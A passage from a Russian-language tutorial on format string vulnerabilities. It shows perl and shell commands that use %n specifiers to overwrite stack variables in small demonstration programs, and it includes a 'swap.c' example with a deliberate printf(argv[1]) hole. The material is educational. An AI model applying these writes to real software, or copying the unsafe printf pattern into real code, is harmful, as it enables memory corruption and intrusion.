Первые шаги
Вернемся к программе stack:
>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [dця›000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)
Мы задали в качестве строки ввода:
- адрес переменной
i;
- инструкцию форматирования (
%.496x);
- вторую инструкцию форматирования (
%n), которая произведет запись по данному адресу.
Чтобы определить адрес переменной i (здесь 0xbffff664), мы можем запустить программу дважды и соответственно поменять командную строку. Как вы заметили, i имеет новое значение :) Данная строка форматирования и организация стека делают вызов snprintf() подобным на:
snprintf(buffer,
sizeof buffer,
"\x64\xf6\xff\xbf%.496x%n",
tmp,
4 first bytes in buffer);
Первые четыре байта (содержащие адрес i) записываются в начало buffer. Формат %.496x позволяет нам избавится от переменной tmp, которая расположена в начале стека. Затем, когда доходит дело до инструкции %n, адрес, который она использует, - есть адрес переменной i, расположенный в начале buffer. Хотя требуемая точность равна 496, snprintf записывает максимум 60 байт (т.к. длина буфера - 64 и 4 байта уже записано). Значение 496 - произвольное, оно используется только чтобы изменить "счетчик байтов". Мы видели, что формат %n сохраняет количество байт, которое должно будет записано. Это значение равно 496, к которому мы добавляем 4 из-за 4 байт адреса i в начале buffer. Поэтому у нас получается 500 байт. Это значение будет записано в следующий адрес, расположенный в стеке, который является адресом i.
Мы можем пойти дальше в развитии данного примера. Чтобы изменить i, нам надо было знать ее адрес ... однако иногда программа сама предоставляет его:
/* swap.c */
#include <stdio.h>
main(int argc, char **argv) {
int cpt1 = 0;
int cpt2 = 0;
int addr_cpt1 = &cpt1;
int addr_cpt2 = &cpt2;
printf(argv[1]);
printf("\ncpt1 = %d\n", cpt1);
printf("cpt2 = %d\n", cpt2);
}
Запуск этой программы показывает, что мы можем управлять стеком (почти) как мы хотим:
>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0
Как вы можете видеть, в зависимости от аргумента, мы можем менять cpt1 или cpt2. Формату %n нужен адрес, вот почему мы не можем напрямую работать с переменными (например используя %3$n (cpt2) или %4$n (cpt1)), однако можем это делать через указатели. Последнее - "полуфабрикат" с огромными возможностями для модификации.
Назад |
Содержание |
Вперед
Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
|